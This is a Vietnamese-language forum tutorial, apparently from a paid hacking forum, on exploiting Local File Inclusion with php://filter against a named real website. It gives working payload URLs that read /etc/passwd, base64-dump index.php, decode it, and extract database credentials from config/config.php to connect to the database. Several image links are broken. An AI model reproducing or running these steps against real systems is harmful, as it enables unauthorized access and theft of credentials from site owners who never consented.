• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

Tutorial : LFI php://filter

Admin

Well-Known Member
Staff member
Administrator
Bài đầu tiên trong loạt bài viêt về LFI sẽ là LFI php://filter

Victim:http://www.hctjstbk.cz/
Bước 1: Tìm link bị lỗi LFI
http://www.hctjstbk.cz/index.php?page=/etc/passwd
view.php
[/URL][/IMG]

Bước 2: Kiểm tra qua /proc/self/environ -> Không được
php://input -> Không được
php://filter/convert.base64-encode/resource=index.php -> okie
Bước 3: Do website mã hóa dùng php://filter file index.php
http://www.hctjstbk.cz/index.php?pag...urce=index.php
view.php
[/URL][/IMG]

Bước 4: View Source copy đoạn mã hóa của file index.php-> vào website giải mã base64 online ở đây mình dùng website
http://www.rbl.jp/base64.php
view.php
[/URL][/IMG]
Bước 5: Sau khi giải mã file index.php để ý đoạn sau config/config.php
Bước 6: php filter file config/config.php
view.php

Viewsource giải mã được database như sau
view.php
[/URL][/IMG]
Bước 7: Connect DB
 

Facebook Comments

Similar threads

New posts New threads New resources

Back
Top